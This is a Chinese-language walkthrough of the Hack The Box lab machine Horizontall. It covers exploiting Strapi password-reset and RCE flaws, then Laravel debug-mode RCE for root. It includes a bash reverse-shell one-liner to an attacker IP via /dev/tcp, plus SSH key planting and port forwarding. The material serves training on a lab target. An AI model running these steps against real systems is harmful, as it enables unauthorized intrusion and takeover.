Linux/Horizonatll

Enumeration

nmap

第一次扫描发现系统对外开放了22,80端口,端口详细信息如下

从nmap结果看,系统只对外开放了两个端口,22和80,还显示了域名为http://horizontall.htb,将其添加到/etc/hosts文件中

strapi 3.0.0-beta.17.4 Set Password+Remote Code Execution

访问网站,页面如下

但是网站里所有的链接都没有用,因此尝试扫描web目录,但是并没有发现什么有趣的内容,然后发现在app.c68eb462.js中发现了一个新域名api-prod.horizontall.htb,将其添加到/etc/hosts文件中

之后访问新发现的域名,结果只是在屏幕上打印了welcome,尝试扫描web目录

使用gobuster扫描目录,很快就发现了admin

访问目录会跳转到登录页面,可以清楚地看到登录框写着strapi,通过搜索发现strapi是一个开源的headless CMS

对一个已知的cms应用,先看看有没有现成的漏洞及利用方式,有未认证的设置密码,认证后的rce,第三个很有意思,看起来是将前两种情况合并在一起,先将利用脚本镜像到本地

在python脚本中有一段版本检查的代码

可以请求该url,来查看软件版本是否存在漏洞

版本一致,容易受到攻击,执行脚本

可以看到脚本修改了密码,在输入id后返回了错误,并且提示这个RCE无法看到输出,尝试用一个用反向shell连接kali

bash 复制代码
bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'

输入上述指令后,在监听端得到shell

获取交互式shell

bash 复制代码
script /dev/null -c bash
ctrl-z
stty raw -echo; fg
reset

可以拿到user的flag

Privilege Escalation

查看系统运行的服务

可以看到除了22和80外,还有1337,3306和8000端口,3306默认是mysql的端口,用curl请求1337和8000端口,这两个页面似乎都展示了页面

发现strapi的主目录是/opt/strapi

在本机上使用ssh-keygen生成公钥和私钥对

复制id_rsa.pub中的内容到目标主机/opt/strapi/.ssh/authorized_keys,因为没有.ssh目录,所以新建了一个,然后在该目录下,创建了authorized_keys并修改其内容

这个时候就可以使用ssh登录目标系统了,这个时候可以利用ssh隧道将本地端口转发到远程主机

bash 复制代码
ssh -i id_rsa -L 8000:localhost:8000 strapi@10.10.11.105

然后可以在本地访问8000端口

在页面最下方,有laravel的版本信息Laravel v8 (PHP v7.4.18),有了具体的框架及版本,可以查看是否存在漏洞及利用方式,发现如果框架处于调试模式时,可以远程代码执行

Laravel 8.4.2 debug mode - Remote code execution

不知道怎么确定是否在调试,尝试扫描目录之后,发现了/profiles,访问该链接

在Laravel中发现了一些调试信息,似乎框架就处于希望的调试模式,寻找漏洞利用程序,然后下载到本地并且为程序添加执行权限,因为刚才进行了端口转发,可以直接在kali机器上运行程序

发现,按照步骤运行完毕后,输出了root,可以将指令换成一个反向shell

在kali中开启监听后,执行指令,即可获得一个shell

相关推荐
天才奇男子12 小时前
HAProxy高级功能全解析
linux·运维·服务器·微服务·云原生
学嵌入式的小杨同学13 小时前
【Linux 封神之路】信号编程全解析:从信号基础到 MP3 播放器实战(含核心 API 与避坑指南)
java·linux·c语言·开发语言·vscode·vim·ux
酥暮沐13 小时前
iscsi部署网络存储
linux·网络·存储·iscsi
❀͜͡傀儡师14 小时前
centos 7部署dns服务器
linux·服务器·centos·dns
Dying.Light14 小时前
Linux部署问题
linux·运维·服务器
S190114 小时前
Linux的常用指令
linux·运维·服务器
小义_14 小时前
【RH134知识点问答题】第7章 管理基本存储
linux·运维·服务器
梁洪飞15 小时前
内核的schedule和SMP多核处理器启动协议
linux·arm开发·嵌入式硬件·arm
_运维那些事儿15 小时前
VM环境的CI/CD
linux·运维·网络·阿里云·ci/cd·docker·云计算
Y1rong16 小时前
linux之文件IO
linux